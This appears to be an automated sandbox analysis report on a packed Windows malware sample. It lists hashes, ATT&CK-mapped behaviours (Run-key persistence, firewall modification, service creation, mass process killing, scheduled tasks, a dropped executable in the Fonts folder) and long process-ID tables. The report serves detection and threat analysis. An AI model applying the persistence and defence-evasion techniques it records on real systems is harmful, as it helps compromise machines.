c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63

Analysis

max time kernel
62s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/10/2026, 18:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
Size 1.2MB
Sample261003-w9rt9svdld
SHA256 c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63
MD5 353a4c06f8bb7e33f7259791b08588c1
SHA1 00c8e4e8caa122b63d1498d8b8359db39fd3416c
SHA512 31a01730eb7b618f2b0db88ba0408512c729d0de608dfba9877c59f41de63b100fe895bf6f9e385f13580311da04a5d79c7ca3698693a77060b433f44a4d6a4b
SSDEEP 24576:3mVJlc+HYsT+EQetbEnRNcFmWVBbQLv+orGM+kHOv:2y+HYsT+B92Tc+oaz
TLSH
T1F9555C23E15288B1D16862B122FB0B34AE79D7B21E318943E7D4CC747E62B71D72B15E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ADSL Dial = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe"	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe

Modifies Windows Firewall 2 TTPs 9 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6832	netsh.exe
1120	netsh.exe
5612	netsh.exe
6976	netsh.exe
6272	netsh.exe
2500	netsh.exe
5060	netsh.exe
7044	netsh.exe
5012	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3104	SQLAGENTSWE.exe
6840	SQLAGENTSWE.exe
6020	SQLAGENTSWE.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6396	WScript.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4172-1-0x0000000000CC0000-0x0000000000CCB000-memory.dmp	upx
behavioral2/memory/4172-2-0x0000000000CC0000-0x0000000000CCB000-memory.dmp	upx
behavioral2/memory/3104-43-0x0000000000A90000-0x0000000000A9B000-memory.dmp	upx
behavioral2/memory/6840-46-0x0000000000B20000-0x0000000000B2B000-memory.dmp	upx
behavioral2/memory/6020-49-0x0000000002240000-0x000000000224B000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Fonts\SQLAGENTSWE.exe	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe

Launches sc.exe 26 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6064	sc.exe
2008	sc.exe
6028	sc.exe
4844	sc.exe
3424	sc.exe
5344	sc.exe
4280	sc.exe
924	sc.exe
4168	sc.exe
4328	sc.exe
368	sc.exe
2336	sc.exe
4992	sc.exe
7012	sc.exe
6172	sc.exe
2644	sc.exe
1556	sc.exe
1308	sc.exe
3900	sc.exe
6900	sc.exe
912	sc.exe
1836	sc.exe
4784	sc.exe
3236	sc.exe
5348	sc.exe
3212	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 33 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
952	cmd.exe
6448	cmd.exe
3440	cmd.exe
3836	cmd.exe
3968	cmd.exe
4140	cmd.exe
4688	cmd.exe
1556	cmd.exe
4752	cmd.exe
6364	cmd.exe
2584	cmd.exe
5928	cmd.exe
3916	cmd.exe
1252	cmd.exe
712	cmd.exe
4188	cmd.exe
1660	cmd.exe
5232	cmd.exe
3512	cmd.exe
4464	cmd.exe
5484	cmd.exe
1504	cmd.exe
4924	cmd.exe
4716	cmd.exe
2468	cmd.exe
2116	cmd.exe
5020	cmd.exe
5392	cmd.exe
6860	cmd.exe
4640	cmd.exe
2024	cmd.exe
4144	cmd.exe
4648	cmd.exe
5916	cmd.exe
4852	cmd.exe
4776	cmd.exe
892	cmd.exe
4368	cmd.exe
2228	cmd.exe
5640	cmd.exe
1912	cmd.exe
5896	cmd.exe
5440	cmd.exe
6220	cmd.exe
5472	cmd.exe
6012	cmd.exe
4468	cmd.exe
924	cmd.exe
2732	cmd.exe
972	cmd.exe
4528	cmd.exe
2948	cmd.exe
5780	cmd.exe
5588	cmd.exe
3448	cmd.exe
4452	cmd.exe
4992	cmd.exe
2012	cmd.exe
1164	cmd.exe
5244	cmd.exe
3820	cmd.exe
4252	cmd.exe
3984	cmd.exe
4408	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6884	PING.EXE

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
4452	taskkill.exe
2096	taskkill.exe
5896	taskkill.exe
4664	taskkill.exe
1964	taskkill.exe
2596	taskkill.exe
260	taskkill.exe
5068	taskkill.exe
1252	taskkill.exe
2056	taskkill.exe
4416	taskkill.exe
5808	taskkill.exe
6140	taskkill.exe
1272	taskkill.exe
5620	taskkill.exe
3464	taskkill.exe
3380	taskkill.exe
4832	taskkill.exe
3188	taskkill.exe
4536	taskkill.exe
3752	taskkill.exe
4292	taskkill.exe
3216	taskkill.exe
3116	taskkill.exe
3684	taskkill.exe
6980	taskkill.exe
5856	taskkill.exe
4476	taskkill.exe
3036	taskkill.exe
4924	taskkill.exe
4252	taskkill.exe
4508	taskkill.exe
2136	taskkill.exe
3920	taskkill.exe
4368	taskkill.exe
1036	taskkill.exe
704	taskkill.exe
2828	taskkill.exe
4164	taskkill.exe
4284	taskkill.exe
4812	taskkill.exe
2912	taskkill.exe
5608	taskkill.exe
3924	taskkill.exe
3884	taskkill.exe
784	taskkill.exe
4580	taskkill.exe
5500	taskkill.exe
2476	taskkill.exe
1316	taskkill.exe
3284	taskkill.exe
4100	taskkill.exe
3036	taskkill.exe
2080	taskkill.exe
2416	taskkill.exe
1764	taskkill.exe
2472	taskkill.exe
2360	taskkill.exe
4892	taskkill.exe
4156	taskkill.exe
5564	taskkill.exe
4816	taskkill.exe
5620	taskkill.exe
2164	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-53044966-3830981193-2402648431-1000_Classes\Local Settings	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
4696	reg.exe
6872	reg.exe
4576	reg.exe
1812	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6884	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3752	schtasks.exe
6676	schtasks.exe
5344	schtasks.exe
6884	schtasks.exe
6964	schtasks.exe
4440	schtasks.exe
6208	schtasks.exe
6852	schtasks.exe
4292	schtasks.exe
2956	schtasks.exe
6696	schtasks.exe
6316	schtasks.exe
6652	schtasks.exe
6508	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	5500	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	4164	taskkill.exe
Token: SeDebugPrivilege	3988	taskkill.exe
Token: SeDebugPrivilege	6140	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe
Token: SeDebugPrivilege	3740	taskkill.exe
Token: SeDebugPrivilege	696	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	4860	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	2136	taskkill.exe
Token: SeDebugPrivilege	2348	taskkill.exe
Token: SeDebugPrivilege	260	taskkill.exe
Token: SeDebugPrivilege	6020	taskkill.exe
Token: SeDebugPrivilege	5792	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	2164	taskkill.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	4476	taskkill.exe
Token: SeDebugPrivilege	2548	taskkill.exe
Token: SeDebugPrivilege	5708	taskkill.exe
Token: SeDebugPrivilege	4284	taskkill.exe
Token: SeDebugPrivilege	4812	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	2080	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	3920	taskkill.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	6132	taskkill.exe
Token: SeDebugPrivilege	3752	taskkill.exe
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeDebugPrivilege	3036	taskkill.exe
Token: SeDebugPrivilege	4452	taskkill.exe
Token: SeDebugPrivilege	2912	taskkill.exe
Token: SeDebugPrivilege	5608	taskkill.exe
Token: SeDebugPrivilege	1316	taskkill.exe
Token: SeDebugPrivilege	4292	taskkill.exe
Token: SeDebugPrivilege	4184	taskkill.exe
Token: SeDebugPrivilege	4664	taskkill.exe
Token: SeDebugPrivilege	3188	taskkill.exe
Token: SeDebugPrivilege	2096	taskkill.exe
Token: SeDebugPrivilege	2360	taskkill.exe
Token: SeDebugPrivilege	1272	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeDebugPrivilege	1944	taskkill.exe
Token: SeDebugPrivilege	952	taskkill.exe
Token: SeDebugPrivilege	4156	taskkill.exe
Token: SeDebugPrivilege	4536	taskkill.exe
Token: SeDebugPrivilege	4368	taskkill.exe
Token: SeDebugPrivilege	2416	taskkill.exe
Token: SeDebugPrivilege	4380	taskkill.exe
Token: SeDebugPrivilege	4580	taskkill.exe
Token: SeDebugPrivilege	4924	taskkill.exe
Token: SeDebugPrivilege	1036	taskkill.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	3832	taskkill.exe
Token: SeDebugPrivilege	4252	taskkill.exe
Token: SeDebugPrivilege	3284	taskkill.exe
Token: SeDebugPrivilege	3924	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	5564	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
3104	SQLAGENTSWE.exe
3104	SQLAGENTSWE.exe
6840	SQLAGENTSWE.exe
6840	SQLAGENTSWE.exe
6020	SQLAGENTSWE.exe
6020	SQLAGENTSWE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 4852	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	89
PID 4852 wrote to memory of 5856	4852	cmd.exe	91
